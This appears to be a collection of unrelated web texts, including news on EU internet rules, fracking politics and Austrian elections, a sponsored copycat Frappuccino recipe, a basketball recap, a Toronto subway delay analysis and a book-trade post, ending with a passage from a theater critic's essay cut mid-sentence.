minister in Germany, for instance, has already mooted fines of €50 million if a social network fails to take down hate speech. France is considering applying a European content quota of 50 per cent for all video services.  “The country-of-origin principle is definitely under threat. The EU is moving in a different direction,” says Mr Bortner.  Critics argue that the new rules could encourage self-censorship. “You defend yourself with excessively broad terms of service that allow you to delete whatever you want whenever you need it,” said Joe McNamee, executive director of EDRI, a group that promotes digital rights.  This leaves internet companies as judge, jury and executioner when it comes to determining whether content is appropriate. “You are outsourcing your law enforcement to private actors,” says one EU diplomat.  – (Copyright The Financial Times Limited 2017)
-Starbucks Mocha Frappuccino | Healthy Copycat Recipe  From the day it opened its doors, the Starbucks located one block from my high school has had a steady drive-thru line of suburbans wrapped around its exterior and a hoard of high school girls sipping whipped-cream-topped Frappuccinos on its interior. My junior and senior year, my girlfriends and I would meet weekly before class to sip Frapps and discuss the issues of the day (boys). Today’s Starbucks Mocha Frappuccino recipe is my healthy, copycat version of the mocha Frappuccino I ordered every Friday.  This recipe is sponsored by Bob’s Red Mill.  To this day, coffee Frappuccinos still make me nostalgic for those green couches and early mornings in our school uniforms. I think I arrived late to my first class 65% of the time, telltale green cup in hand. The extra tardy on my “demerit card” (<—do high schools still have those?) was more than worth finding out who was asking whom to prom.  Back then, I didn’t give a second thought to the nutritional value of what I was eating or drinking. The fact that a grande Starbucks Mocha Frappuccino with extra whipped cream (my standard order) has more calories and sugar than two full-sized Snickers bars didn’t occur to me when I was 17.  As an adult, I am more aware of the ingredients I put into my body. A few weeks ago on an especially hot day, I caught myself craving a mocha Frappuccino. Rather than hitting the drive-thru, I decided to see if I could come up with my own healthy Starbucks Mocha Frappuccino recipe that would please both my high school Frappuccino-loving self and my adult real-ingredient-loving self.  The results of my coffee Frappuccino experiment: success! This healthy copycat recipe is as richly chocolaty and refreshing as the original but made of wholesome ingredients, so you can feel great drinking it too.  Reimagining the Starbucks Mocha Frappuccino  In place of the sugar cocktail used to make Frappuccinos, I used a frozen banana, which, despite its simplicity, does a remarkable job making the Frappuccino thick, frothy, and naturally sweet. The coffee portion is nothing fancier than strong coffee that I brewed in my regular coffee pot then chilled in the refrigerator. The chocolate is unsweetened cocoa powder…and any chocolate chips you feel inclined to sprinkle on top.  To give the Mocha Frappuccino an extra boost, I also added one of my favorite superfoods, Bob’s Red Mill Chia Seeds. While they might not look like much, these little black seeds are nutritional powerhouses.  Chia seeds contain a whopping 5 grams of fiber per tablespoon, and their mild, nutty flavor makes them easy to add to just about anything. Try sprinkling them over salads or bowls of cereal, stirred into yogurt or oatmeal, and blended into smoothies.  I couldn’t resist adding a few tablespoons of chia seeds to this copycat Starbucks Mocha Frappuccino recipe, and I am so glad I did! I could hardly detect them, and I loved knowing that I was enjoying an extra nutritional boost with my sweet treat. In less than two seconds, I’d added some serious healthy fuel to my day.  My enjoyment of this healthy Starbucks Mocha Frappuccino recipe has reached the point where I’ve started brewing a little extra coffee in the morning to make sure I have extra on hand for when my next Frapp craving strikes.  As written, the recipe is perfect for a cool midday pick-me-up or late-night treat (use decaf coffee if you need to avoid caffeine), and it’s also easy to tweak to be even more substantial. After a long workout, I’ll often add a scoop of chocolate protein powder and a handful of spinach to turn it into a recovery smoothie. Try it both ways and let me know what you think!  Print 5 from 3 votes Leave a Review » Starbucks Mocha Frappucino | Healthy Copycat Recipe Yield : 1 drink Prep Time: 3 mins Total Time: 3 mins An easy copycat Starbucks Mocha Frappuccino recipe, made with real ingredients. Simple, homemade version that's low calorie but so rich and chocolaty! Ingredients 1 cup strong black coffee — chilled  1/2 medium banana — cut into chunks and frozen  2 tablespoons unsweetened cocoa powder  2 tablespoons Bob’s Red Mill Chia Seeds  1 tablespoon light agave — plus additional to taste  2 teaspoons pure vanilla extract  Ice  Optional for serving: whipped cream — whipped coconut cream, chocolate shavings, chocolate syrup or mini chocolate chips Instructions Combine the coffee, banana, cocoa powder, chia seeds, agave, and vanilla extract in the bottom of a blender. Blend until smooth, about 30 or so seconds depending upon your blender, then add a small handful of ice cubes, blending until the mixture becomes thick. Continue adding ice cubes until you reach your desired consistency (I like mine fairly thick). Pour into a glass. Garnish as desired and enjoy immediately. Recipe Notes This Mocha Frappuccino is best enjoyed immediately after its made. For a head start on the recipe, brew your coffee up to 1 day in advance and store in the refrigerator in an airtight container. Course: Dessert, Drinks Cuisine: American Keyword: Easy Dessert Recipe, Starbucks Mocha Frappucino | Healthy Copycat Recipe Nutrition Information Amount per serving (1 drink, without toppings) — Calories: 262, Fat: 7g, Saturated Fat: 2g, Sodium: 3mg, Carbohydrates: 46g, Fiber: 15g, Sugar: 23g, Protein: 9g Did you try this recipe? I want to see! Follow Well Plated on Instagram, snap a photo, and tag it #wellplated. I love to know what you are making!  I am sharing this post in partnership with Bob’s Red Mill. As always, all opinions are my own. Thanks for supporting the brands and companies that make it possible for me to continue to create quality content for you! For more healthy recipe inspiration, coupons, or to find a store that carries Bob’s Red Mill products near you, visit bobsredmill.com.  This post contains some affiliate links, which means that I make a small commission off items you purchase at no additional cost to you.
-Clear your calendar for 12/23 at 5 pm, well . . . then you might as well clear your calendar for Christmas Eve, too, because you’re going to need some serious recovery time after you see what Gerard Robertson at Coalhouse Pizza in Stamford has planned for you.  Yes, it’s true: some of New England Brewing’s best beers will be on tap for this special night (we’ll update with the time when we get it). Think of it as Gerard’s Christmas present to you.  First of all, Fuzzy Baby Ducks will be on tap! You’ve probably heard about it, and you’ve probably seen that it’s been popping up here and there at great bars and restaurants that love good, craft beer. So, whether this is is your first time or 12th time having FBD, you’ll want to see what the #5 ranked IPA in the COUNTRY by Beer Advocate tastes like! Yes, #5.  Secondly, Gerard (that lucky fuzzy duck) was able to snag some Zapata Bot! This beer was released in bottles in a very limited batch (only 1,000), but he’s got it pouring for you on 12/23. Why Zapata? They age their DIPA Gandhi-Bot in tequila barrels! We’ve been dreaming about trying this, so now we get to!  Thirdly, you’ll have to come and see what mysterious cask that NEBCO is giving to Coalhouse. We don’t know, you don’t know, but we’re sure that we’re going to love it! What would you want it to be?  Lastly, their classic brews will be pouring out too:  668 Neighbor of the Beast  Elm City Lager  Ghost Pigeon Porter  Imperial Stout Trooper  Sea Hag  See you there, people and seriously consider hiring an Uber, this is gonna get messy!
-news  ・2016.02.08 This site opened .  ・We love the dillinger escape plan  movie  ■ Panasonic Youth / DEP LAB @2015.01.10 soundstone at Tokorosawa Saitama Japan  ■ Setting fire to sleepin' giants / DEP LAB@ 2016.07.30 soundstone at Tokorosawa Saitama Japan  ■ Setting fire to sleepin' giants / DEP LAB@2016.01.30 stdio NOAH  ■ Panasonic Youth / DEP LAB@2016.01.30 stdio NOAH  ■ Baby's First Coffin' / DEP LAB@2014.11.15 stdio NOAH  about  LtoR:  uchida(Gt)  適切な音の解析と立ち上がりがゆっくりした感情的なギタープレイが得意。あまり歪ませたギタープレイは苦手。DEP LABでは氏の良さがつぶされてしまっている！ He is good at the analysis of the appropriate sound and the emotional guitar play that a start was slow. He is weak in the guitar play of the sound distorted.His good point is lost in DEP LAB！  yohsuke(Vo)  抜群の歌唱力でメロディを歌い上げることが得意。シャウトやデス声は苦手。DEP LABでは氏の良さがつぶされてしまっている！ He is good at singing a melody in a loud voice by outstanding singing ability. He is weak in a shout and the death voice. His good point is lost in DEP LAB！  noriaki(Dr)  変拍子かつ手数が多くても正確に叩ける高い演奏能力を持つ。解析の精度も高い。ただ、アラフィフ迎えてのDEPLABでの激しいドラムプレイは体力的にキツそう！ He has high performance ability to be able to beat strange time and the small beat exactly. And he has high analysis precision of the performance, too. But It seems to be physically severe on the intense drum play in DEPLAB because He reached age of around 50!  asami(Gt)  ザ・ハードロック大好き人間で単音リフが得意。テンションコードやクロマチックスケールは苦手。テンションコードやクロマチックスケールが多用されているDEP LABでは氏の良さがつぶされてしまっている！ He is good at a single sound riff in the hard rock addicts. He is weak in a tension cord and the chromatic scale.His good point is lost in DEP LAB where a tension cord and chromatic scale are used many for!  koh(Ba)  丁寧・的確な歌うベースプレイでポップな音楽が得意。DEPLABはポップな音楽ではないので氏の良さがつぶされてしまっている！ The base that you seem to sing is the characteristic of his performance. And he is good at pop music.because DEPLAB is not pop music,his good point is lost!  band  2005年結成。初めてカバーできた曲はbaby's first coffin'、バンドで演奏できるようになるまで1年半かかりました。何しろコピーバンドをやりたかったので、どうせ組むなら誰もやらないようなコピーバンドを組もうと思ってD.E.P.のコピーをやっています。 We have formed in 2005. The music that We was able to cover for the first time is baby's first coffin'. It took one and a half years until We became able to play it in a band.Anyway we wanted to form a cover band. Therefore we thought to form the cover band which nobody form if we do it at all. So we continue covering D.E.P.  links  We Love  The Dillinger Escape Plan ： It is the band of the origin of cover.  MORE BANDS WITH DEPLAB MEMBERS  Re-NacL ： official site. The band which Asami(Gt.) participates in.  mugbum ： official site. The band which Asami(Gt.) participates in as a bassist.  Connect  DEPLAB−Facebook ： Facebook Page
-This article is over 2 years old  Muslim women can wear the hijab instead of Mountie headgear, a government spokesman said – a measure to encourage diversity and inclusion in the force  Canada’s national police force has permitted its women officers to wear the hijab.  The commissioner of the Royal Canadian Mounted Police recently approved the addition to the uniform to allow Muslim women to wear the hijab, public safety minister Ralph Goodale’s spokesman said Wednesday.  Scott Bardsley said it is intended to better reflect the diversity of Canada and to encourage more Muslim women to consider a career with the force.  The Mounties faced a public backlash more than 25 years ago when a Sikh man took the government to court and won the right to wear his traditional turban instead of the usual Mountie headgear. Canadians have long since accepted the change.  Bardsley noted police services in the cities of Toronto and Edmonton and those across the United Kingdom, Sweden and Norway, as well as some US states, have adopted similar policies.  “The Royal Canadian Mounted Police is a progressive and inclusive police service that values and respects persons of all cultural and religious backgrounds,” Bardsley said in an email.  The change in Canada is in contrast to France where at least a dozen towns have banned body-covering burkini swimwear favored by some Muslim women, the latest skirmish in a long-running duel between some members of France’s large Muslim population and the secular establishment.
-..We are the Waterway Stewards of Durbin Creek and The Historic Bartram Canoe Trail...  ..volunteer citizens making a difference by keeping the creek open for everyone to enjoy...  We are the recipients of the prestigious "2012 Green Paddle Award for Waterway Conservation" Presented by The American Canoe Association for outstanding contribution to paddlesport by protecting America's Waterways.  ..for contact information about this, donation based, conservation, restoration and clean-up non-profit organization, The Clean Waterway Society, Inc email: bartramcanoetrail@yahoo.com We are the recipients of the 2013 "In The Trenches Award" presented by The Public Trust Environmental Legal Institute of Florida. Our award was given during the 22nd annual Mayors Environmental Awards luncheon with this years theme, Advancing Environmental Stewardship.  ..with our Sincere Thanks!....  ..Donations can be mailed to The Clean Waterway Society 1212 Ribbon Road, St. Johns Florida 32259..with our Sincere Thanks!.... ..while viewing our blog..note there are several pages of "older posts" to check out..... ...Click on each photo for "the gallery view" ...  This project began May 1st, 2011 when Eric Bersinger and Josh Woods paddled The Bartram Canoe Trail on Durbin Creek. What we found that day was the launch area full of illegally dumped trash and a creek that had been ignored for years. Fallen trees and log jams made this beautiful creek impossible to paddle. On this day we made our pledge, on this day "The Durbin Creek Wilderness Society" was born.....and on this day we went to work....
-The nation's first federal regulations on fracking, unveiled by the Obama administration last week, sparked immediate criticism from leading anti-fracking activists.  Americans Against Fracking, a coalition of 250 environmental and liberal groups that includes Greenpeace, 350.org, MoveOn.org, CREDO, Food & Water Watch, Rainforest Action Network and Friends of the Earth, issued a statement characterizing the new rules—meant chiefly to reduce the threat of fracking-related water contamination—as "toothless."  Actor and activist Mark Ruffalo, who serves on the Americans Against Fracking advisory board, said that Obama's fracking regulations "are nothing more than a giveaway to the oil and gas industry." The group's goal is a complete fracking ban on federal land, where as many as 100,00 oil and gas wells have been drilled.  The new rules apply only to oil and gas drilling on federal lands, which represent about 25 percent of the national fossil fuel output and only some 10 percent of the nation's fracking. The rules don't apply to drilling on private or state-owned land. Currently, fracking occurs in 22 states.  Since states are responsible for regulating most of the fracking in the U.S., the anti-fracking battlefield—a patchwork of communities around the nation taking a stand to protect their air, water and soil–is understandably a bit fractured. With that in mind, here's a brief look around the country at some recent fracktivist highlights at the state and local level.  California  SPONSORED  February 6. Over 8,000 activists gathered in Oakland for the March for Real Climate Leadership, the largest anti-fracking demonstration in U.S. history.  February 24. Bolstered by an admission by California state regulators that oil companies are disposing toxic waste into protected aquifers in violation of the federal Safe Drinking Water Act, more than 150 environmental and community groups filed a legal petition urging the governor to use his emergency powers to place a moratorium on fracking.  March 20. California state Senator Fran Pavley (D-Agoura Hills) and other lawmakers sent a letter to Gov. Jerry Brown urging him to "stop illegal injection into non-exempt aquifers" to protect the state's water from oil waste.  Colorado  February 24. Coloradans Against Fracking activists crashed a state oil and gas task force meeting, launching a campaign for a statewide fracking ban. "Our primary goal is to convince Governor Hickenlooper to ban fracking," said Karen Dike, a member of the new coalition. He can do that with an executive order."  March 18. WildEarth Guardians filed an appeal to halt plans by the Bureau of Land Management to open up 36,000 acres of public lands along the Front Range of Colorado to fracking.  "Climate denial at the Interior Department is fueling a fracking rush on our public lands and undermining our nation's efforts to rein in carbon pollution," said Jeremy Nichols of WildEarth Guardians.  Maryland  March 24. Maryland's House of Delegates passed a bill to ban fracking for three years by a veto-proof 94 to 45. However, it's unclear whether HB 449, currently under review in the state's Senate Committee on Education, Health and Environmental Affairs, has enough support in the Senate to become a law.  March 24. The Senate voted 29 to 17 in favor of a bill holding energy companies financially liable for injury, death or property laws caused by their fracking activities.  Together these measures mark the legislature's most aggressive action to curb fracking in the state.  New Mexico  December 30. The BLM announced it was deferring the issuance of five Navajo allotment parcels for fracking near Chaco Canyon, a World Heritage site, in response to a protest filed by a coalition of environmentalists and watchdog groups demanding a suspension of fracking on public lands in the northwest region of the state.  "Deferring these parcels was the right, and indeed, only legally defensible decision," said Kyle Tisdel, a program director for Western Environmental Law Center (WELC). "Necessary safeguards and analysis must be completed before any further leasing and development of the areas treasured landscapes can continue in compliance with the law."  March 11. A coalition of environmental groups including WELC, WildEarth Guardians and the Navajo organization Citizens Against Ruining Our Environment (Diné CARE) filed suit against the BLM and the U.S. Department of the Interior to prevent fracking from harming Chaco Canyon, the site of numerous ancestral Puebloan ruins and Navajo communities.  New York  December 17. About a month after his re-election, New York Governor Andrew Cuomo imposed a statewide ban on fracking, citing health risks. The announcement made New York the second state in the country after Vermont to ban fracking. The decision, which ended years of debate in the Empire State, was by most accounts the biggest environmental story in the United States in 2014, and puts pressure on other states to consider similar bans.  "I've never had anyone say to me, I believe fracking is great," said Cuomo. "Not a single person in those communities. What I get is, I have no alternative but fracking."  Fred Krupp, president of the Environmental Defense Fund, called the move "a vindication for communities around the country that have been hit hard by unconventional natural gas production."  North Carolina  March 17. On the first day natural gas drilling permits could have been legally accepted in North Carolina, a group of anti-fracking state legislators called for a moratorium.  "We’ve been promised over the last five years that North Carolina would have the nation’s toughest fracking rules, and here we are at zero hour, and we do not have those rules," said Senator Mike Woodard (D-Durham). "The rules are simply insufficient for us to move forward with the issuing of permits."  Ohio  March 18. In a rare moment of bipartisanship, Ohio's normally polarized House of Representatives voted unanimously to ban fracking in state parks. While activists applauded the move, Ohio Sierra Club director Jen Miller said her group "will continue to work tirelessly to defend all state lands from industrial activities like fracking until they are set aside for generations to come, which starts with repealing bills like HB 133 altogether."  Oregon  March 12. The Oregon Community Rights Network (OCRN) launched a campaign to put a constitutional amendment on the November 2016 ballot that will affirm the right to local self-government in a move that would help anti-fracking activists in the state. If ratified, the amendment would grant legal rights to communities and even natural environments that can be violated.  The initiative is joins a growing local-rights movement around the country that is frustrating oil and gas companies. Mary Geddry, a representative with OCRN, noted that more than 200 communities across the U.S. have passed ordinances protecting local rights. "Only nine have been challenged in court," she said.  Pennsylvania  January 29. Pennsylvania Gov. Tom Wolf fulfilled a campaign promise and signed an executive order reinstating a moratorium on fracking in the state's public lands, protecting about a million acres that sit on the natural gas-rich Marcellus Shale formation.  Texas  December 25. Anti-fracking activist Cathy McMullen, who started the nonprofit Denton Drilling Awareness Group that launched a petition to enact a citywide fracking ban, was named a finalist for the 2014 Texan of the Year Award by Dallas Morning News. This followed an Election Day in which voters passed a ballot initiative making Denton, located near the birthplace of fracking, the first city in Texas to pass a fracking ban.  March 23. Documentary filmmaker and Denton resident Garrett Graham released a new trailer for Don't Frack with Denton, his forthcoming film that tells the story of "how one tenacious Texas town managed to upstage the oil and gas industry with the power of music and community organizing."  Utah  March 18. WildEarth Guardians filed an appeal challenging BLM's plan to auction off more than 15,000 acres of public land in southern Utah to fracking companies. A 2014 report by WildEarth Guardians found that the carbon emission cost from oil and gas produced from public lands could exceed $50 billion.  Looking Ahead  While local fracking battles continue to rage around the nation, there has been interesting activity on the federal level, beyond the recent announcement from the White House.  House bill H.R. 5844, the Protect Our Public Lands Act seeks to amend the Mineral Leasing Act to prohibit a lessee from conducting any activity under the lease for fracking purposes. It was introduced in early December by Rep. Mark Pocan (D-WI) during the last session of Congress and there are plans to reintroduce the bill in the current session.  On March 18, representatives Matt Cartwright (D-PA), Diana DeGette (D-CO), Chris Gibson (R-NY), Jared Polis (D-CO) and Jan Schakowsky (D-IL) introduced the so-called Frack Pack, a set of five bills that aim to close loopholes in environmental laws that have been used by oil and gas companies to frack without proper oversight.  While state and local anti-fracking measures and federal bills to curb fracking have been making headlines, for fracktivists the big enchilada is a national ban.  "Communities that have already suffered from fracking, like Longmont, Colorado, are rising up to pass local bans," said Miranda Carter, a spokesperson at Food & Water Watch. "But we need to protect every community in the country by calling for a national ban on fracking: to slow or stop the process where it's already happening, and elsewhere, to prevent it before it starts."
-Most photos taken of the negotiators seeking to reach an agreement over Iran's nuclear programme have EU foreign policy chief Federica Mogherini standing in the middle.  In a way, this is a victory in itself for the EU, demonstrating its ability to be a credible and respected party in what are arguably the most important diplomatic negotiations since the Camp David summit back in 1978.  However, the centrality of the EU in these negotiations does not necessarily mean that it will also reap the biggest rewards.  Russia, China, and the US are possibly more eager to get a share of the spoils and could push EU countries aside in what may be the biggest prize in a new “Great Game”.  This is why what happens following an agreement with Iran will likely have a great impact on the EU's diplomatic and geopolitical leverage in the years, if not decades, to come.  21st century Fashoda  European countries used to have much more clout in the Middle East.  In fact, just over a hundred years ago, in 1907, Britain and Russia even managed to agree on a partition of Persia into spheres of influence which effectively nullified the country's sovereignty.  In today's Iran, this is unlikely to be repeated, but the struggle to consolidate influence in the country will be just as fierce, turning Tehran into a 21st century Fashoda.  Instead of European countries calling the tune, today it is the US, Russia and China that appear to have the biggest stakes in Iran's future orientation.  For the US, achieving a breakthrough with Tehran will be a game-changer in addressing the multiple crises in the Middle East and should be seen in the wider context of America’s “pivot to Asia”.  This is because for China, Iran is important not just for its vast oil and gas supplies, but also because it is to be a lynchpin in its New Silk Road project.  Meanwhile, with Chinese influence extending into Siberia and across the plains of Central Asia, Russia does not want to see an overt Chinese presence in Iran that could extend into Turkey -another country with which Russia is seeking to develop better relations.  What's more, if Iranian oil makes it back to world markets, Russia stands to lose significantly owing to the similarity of both countries' chief export blends.  This is why Moscow is already jockeying for influence in Tehran, intending to unlock the sale of its S-300 missile system, and is seeking co-operation rather than confrontation with Beijing by pushing for Iranian membership of the Shanghai Co-operation Organisation.  Will Europe be heard?  None of this is to say that Europe does not have geopolitical stakes in Iran's future.  After all, it has great interest in cultivating Iran as a stabilising force in the Middle East, and relying on its influence in the region to address the war in Syria and Iraq. In addition, Iranian gas could have a significant impact on Europe's energy security in the long term, enabling it to diversify its imports and to lessen its dependence on Russian gas.  However, it is not evident that Iranians will prefer dealing with Europeans over the Chinese, the Russians, or even the Americans.  So far, Chinese and Russian businesses have been the true beneficiaries of Western-imposed sanctions regimes, and enjoy a first-mover benefit of sorts.  US companies will have to start from square one. But the fact that many Iranians have maintained strong ties with America since the 1979 revolution means US businesses could soon eclipse European interests.  Delicate dance  It is not a foregone conclusion that European countries will lose out when Iran opens up.  For starters, both China and the US will have to contend with the fact that cozying up to Iran will leave Saudi Arabia very unhappy, putting their ties with the kingdom in jeopardy.  Meanwhile, Israel is expected to give both the US and Russia a hard time following through on a possible agreement with Iran.  In the end, Iran itself may have second thoughts about getting itself entangled in a delicate dance trying to soothe Beijing, Moscow, and Washington all at the same time.  This makes it easier for European countries and businesses to strike up relations with Tehran, which are likely perceived as less threatening and bringing fewer diplomatic headaches.  It could be that standing in the middle of the photograph does pay off for Mogherini and for Europe, but only if she carefully watches what happens on her left and her right.  Willem Th. Oosterveld and Sijbren de Jong are analysts at The Hague Centre for Strategic Studies in the Netherlands
-Kadeem Allen went coast-to-coast for a game-winning layup as the No. 10 Arizona Wildcats beat the No. 12 Michigan State Spartans 65-63 in Honolulu, Hawaii.  In a game that featured six second-half lead changes, it was Allen’s go-ahead bucket that finally put Arizona ahead for good with 1.9 seconds left.  "He is the guy that every coach in the country would love to have on their team because he only cares about winning," Arizona head coach Sean Miller told ESPN after the game. "It's incredible to watch him make the shot and get the steal, it's what should happen."  Arizona trailed 60-59 with three minutes left after Miles Bridges put the Spartans up, but Lauri Markkanen gave the Wildcats the lead, hitting a jumper in the paint to put Arizona up 61-60.  Parker Jackson-Cartwright — after fighting an MSU big man for a rebound — hit a floater to make it 63-60.  However, Tum Tum Nairn Jr. hit a 3 with 7.5 seconds left to tie things up at 63-63.  Arizona inbounded the ball to Allen, and nobody got in his way as he went the distance, kissing the ball off the glass to send the Wildcats to victory.  "Putting the ball in (Allen's) hands in that situation was I think the smart move, and he did a great job finishing," Miller said.  Early on, you wouldn’t have guessed that Arizona would win this game.  Michigan State jumped out to a 17-2 lead in the first six minutes with the help from Miles Bridges, who scored seven of MSU’s first 12 points.  But Arizona’s defense tightened and it went on a 22-4 run, with Kobi Simmons hitting a 3-pointer to put the Wildcats up 24-21 with 5:24 left in the half.  Simmons had 15 points in the first half off the bench, helping Arizona end the half up 34-30.  "We just got off to a terrible start, but a lot of times when you're not at home and you get off to a slow start, you don’t necessarily put it behind you, but we did and I credit our team for being able to do that." Miller said.  Arizona took a 43-34 lead early in the second half, but MSU quickly countered, and a 3-pointer by Alvin Ellis III put the Spartans up 51-46 with 10:43 left in regulation.  Arizona would re-take a 57-56 lead with 4:58 left after a layup by Parker Jackson-Cartwright.  There would be three more lead changes, but the Wildcats were able to escape Honolulu with the victory, starting the season with a huge win.  Here some other takeaways:  Dusan Ristic struggles  Arizona’s starting center was a non-existent against the Spartans, as he missed his first five shots and didn’t get on the board until there was roughly seven minutes left in the game.  He couldn’t establish deep post position, and looked uncomfortable when he did get the ball on the block. Ristic finished with two points on 1-6 shooting.  He didn’t make an impact defensively or the glass either, finishing with just three rebounds.  Sean Miller understandably went with Chance Comanche at center down the stretch, and Comanche was an improvement, scoring eight points and grabbing five boards in 18 minutes.  Neither Ristic nor Comanche had a block.  Simmons sparks offense  Arizona’s offense struggled to get going at the start, as it took them more than four minutes to get their first points. Who scored the first basket? Kobi Simmons, and it was just the beginning of a terrific first half performance.  Simmons scored 15 first half points, and needed just six shots to do it. He hit two 3s and made 5 of 6 of his free throw attempts.  “I want to enter a game always with confidence,” Simmons said. “I always have confidence and I just have to bring that spark, and I did that.”  He was quiet in the second half, scoring just three points before leaving the game at the 2:27 mark after rolling his ankle.  He finished with 18 points, but didn’t record an assist or a rebound. Still, it was a strong — and much-needed — performance by Simmons in his debut.  “He stepped up big time,” Allen said of Simmons. “He really carried the team on his back...We fed off his energy.”  Simmons’ 18 points were the most by an Arizona freshman in his debut since Jerryd Bayless posted 18 points in 2007-08.  “Kobi Simmons for a freshman showed a lot of ability,” Miller said. “At halftime, he had 15 of our 34 points, and that’s a big reason we were able to get back in the game. He was outstanding. He has a lot of talent. We watch him everyday and I think the best has yet to come from him too.”  Allen makes amends  Kadeem Allen had a rough night, shooting 3-11 from the field with zero assists and two turnovers, but all can be forgotten after he sank the game-winner.  Plus, he had three steals and a block to help offset his struggles offensively.  Jackson-Cartwright contributes in other ways  From a box score perspective, Parker Jackson-Cartwright’s numbers don’t stand out.  He scored nine points on 4-11 shooting, plus shot just 1-6 from 3 with his only make being a desperation 3 on a broken play.  He also had just three turnovers to two assists.  Still, he made two of the biggest plays of the game.  After Markkanen put Arizona up 61-60, Jackson-Cartwright outfought a Michigan State big man for a rebound, then scored on the other end to extend Arizona’s lead to 63-60. It might have been the most important sequence of the game.  PJC did have three steals too. As a whole, you’d like to see his offensive output become more efficient, but even when it wasn’t, he managed to make a positive impact.  Markkanen makes impact  Lauri Markkanen didn’t get as many touches as he probably should have, but when he did he made them count. He shot 2-3 from 3, hit 3-4 from the line and had a couple clutch baskets late in the second half.  He was also tied for the team lead in rebounds with six, with Keanu Pinder being the other player with half a dozen. Pinder helped turn Arizona’s defense around in the first half, as he had a team-best +11 plus-minus in the period.  Here was Arizona’s full box score:  Arizona returns to action Tuesday when it hosts CSU Bakersfield. Tip off is scheduled for 8 p.m. The game will be televised on the Pac-12 Network.  You can follow this author on Twitter at @RKelapire. All quotes were transcribed from ArizonaWildcats.com, unless specified otherwise.
-Brussels were finally breathing easy after both the Dutch and French elections this year passed without deeply eurosceptic Geert Wilders or Marine Le Pen securing victory. EU officials warned a win for populism could put the entire union at threat, and the bloc be torn apart if countries follow in Britain’s footsteps with Brexit. But now a new threat is looming following the dramatic collapse of Austria’s government.  GETTY EU officials warned a win for populism could put the entire union at threat  GETTY Norbert Hofer will be attempting to snatch more votes in the early election  The Freedom Party is riding high in the polls - and could take power if it forms a coalition after elections on October 15. Dutch, French, British and German general elections have already battered the Brussels elite with the European Union being forced to row back on some of its most outlandish ideas. Now the Alpine republic, one of the first to erect a razor wire fence during the migrant crisis, will decide its future course on immigration, labour and social policy this October. The next election was originally due to be held in autumn 2018, but the government collapsed after months of statements disagreements over reform policies.  Geert Wilders: These are the Party for Freedom leader's policies Wed, February 8, 2017 Noteworthy policies that Geert Wilders mentions in his party program. Play slideshow 1 of 14  And the Freedom Party, founded in 1955 by former Nazis amongst other, hope to take advantage of the chaos. According to a poll from Neuwal, the party previously had polling highs of almost 35 per cent at the end of last year, although has since dropped to just above 25 point. The Social Democrats party are just a point ahead, tied with the rival People’s party, in a sign Austria will need to form a coalition government to rule.  GETTY Both Geert Wilders or Marine Le Pen failed to secure victory  GETTY Eurosceptic Norbert Hofer has caused controversy in Austria
-Every Torontonian has a TTC horror story: trapped on an overflowing platform unable to board an already full train, packed tight in a stationary car for a delay to clear, paying a fare only to find the line is out. I could go on, but you already know how it goes.  After finally getting released from a queue behind a disabled train only to be stymied a few moments later by a passenger assistance alarm, I thought it worthwhile to dig into the TTC's official records on outages - technical faults, track fires, belligerent riders, weather, the whole lot - in the hope of getting a bigger picture of what a year of problems looks like on paper.  It turns out, maybe not surprisingly, that passenger assistance alarms were most common type of stoppage. The yellow buttons inside the cars were pressed 1,459 times in 2012, an average of almost 4 per day. The lost time over the course of the year added up to 118 hours and 14 minutes. Each time TTC staff were forced to respond it took an average of 4 minutes 51 seconds to get things moving again.  The TTC counts incidents that involve the police separately, labeling them "security incidents."  Just behind passenger alerts was the TTC's own train problems. The rolling stock - a technical name for the trains - needed emergency repairs 1,323 times in 2012, causing 109 hours and 49 minutes of delays.  Frustratingly, the problem that created the worst wait times is almost entirely preventable. 330 small fires, litter problems, and unauthorized people at track level stopped the subway for a total of 106 hours and 37 minutes in 2012. Each incident took an average of 19 minutes to resolve - longer than breakdowns and assistance alarms.  In total there were 4,842 outages on the subway in 2012 that caused more than three weeks of delays (509 hours and 35 minutes to be precise.) The average delay across all types took 6 minutes and 31 seconds to clear, which is longer than the 4-minute average headway between trains. Normal scheduled service often takes longer to resume.  Are you surprised by these figures or do they match your experience of using the subway? Could the TTC do more to prevent track fires or is it up to the rider to use the garbage cans? Sound off below.  Note: The average wait time listed in the last chart was calculated across all lines from the most recent service summary report between March 31 and May 11, 2013. The delay data is from 2012.  Chris Bateman is a staff writer at blogTO. Follow him on Twitter at @chrisbateman.  Image: tapesonthefloor/blogTO Flickr pool.
-QR Code Link to This Post  my high school freshman english teacher had us read ayn rand's "anthem" and i fell in love. over the next few years i bought or was given several of her books.however, any time i'd start reading one of them, my mom would say that i was acting like an asshole. i had to assume that there was some correlation.now, i sorta consider myself an anti-capitalist anarchist. if you have to put a label on it.but i still have all these ayn rand books.perhaps you have a similar yet opposite story and we can respectfully trade off the errors of our youth.the books that i have and their condition are the following:**atlas shrugged--bought new, but well worn. i actually read this book a few times**we the living--bought used, so it's got that used book aging yellow musty-ness to it; never fully read by me.**the fountainhead--ok i'm actually not entirely sure that i have this one still. but i know that i did at some point. so this book may not be included. however, if it is it was bought used; never fully read by me.**capitalism:the unknown ideal--bought new. prolly some creases is the binding**the virtue of selfishness--bought now. prolly some creases in the bindingand because, dear reader, i am feeling especially giving, i will also include ayn rand's interview with playboy. unfortunately, just the transcripts. no nudie shots.i'm looking for anarcy books, commie books, um...pretty much anything else.and in case any of you randroids might not have something suitable on your shelves, i'll of course accept cold hard cash.(due to the harm that this caused in my relationship with my mother, i am trying not to give these books to minors.)
-It’s about 5:00 in the afternoon, it’s been raining all day and now into the night, and the radio says it’ll keep raining well into tomorrow. The phone rings. It’s my arts editor at the Baltimore City Paper. He sounds like he’s ready to go home. “I’ve got a play for you,” he says. The rain is beating against the windows. “Hapgood,” he says. “By Tom Stoppard. You good with it?” Before I can think of an excuse not do it, he thanks me. I pop a burrito in the microwave and watch it expand slowly. Then I find my green notebook, call and cancel on my girlfriend, and grab the car keys. I head out into the cold, wet Sunday night. This will be my 123rd night of Baltimore community theater. But who’s counting?  I started counting five years ago, when the editor at City Paper decided he needed someone to cover local theater. That was partly because someone else had gotten sick of doing that, and had started a column on local bars. I was the man for the job: I was a writer in need of some steady work, I hadn’t seen any plays in Baltimore yet, and, maybe most important, I was willing to do anything for very little money.  They eased me gradually into the job. For the first assignment I was sent to Center Stage, Baltimore’s regional theater, to watch Shakespeare’s A Winter’s Tale. I got free tickets, they gave me press packets and, on opening night, they gave me cheap champagne. I came home, dissected the play, summed it up, listed three good things about the production and one bad thing, and ragged on one 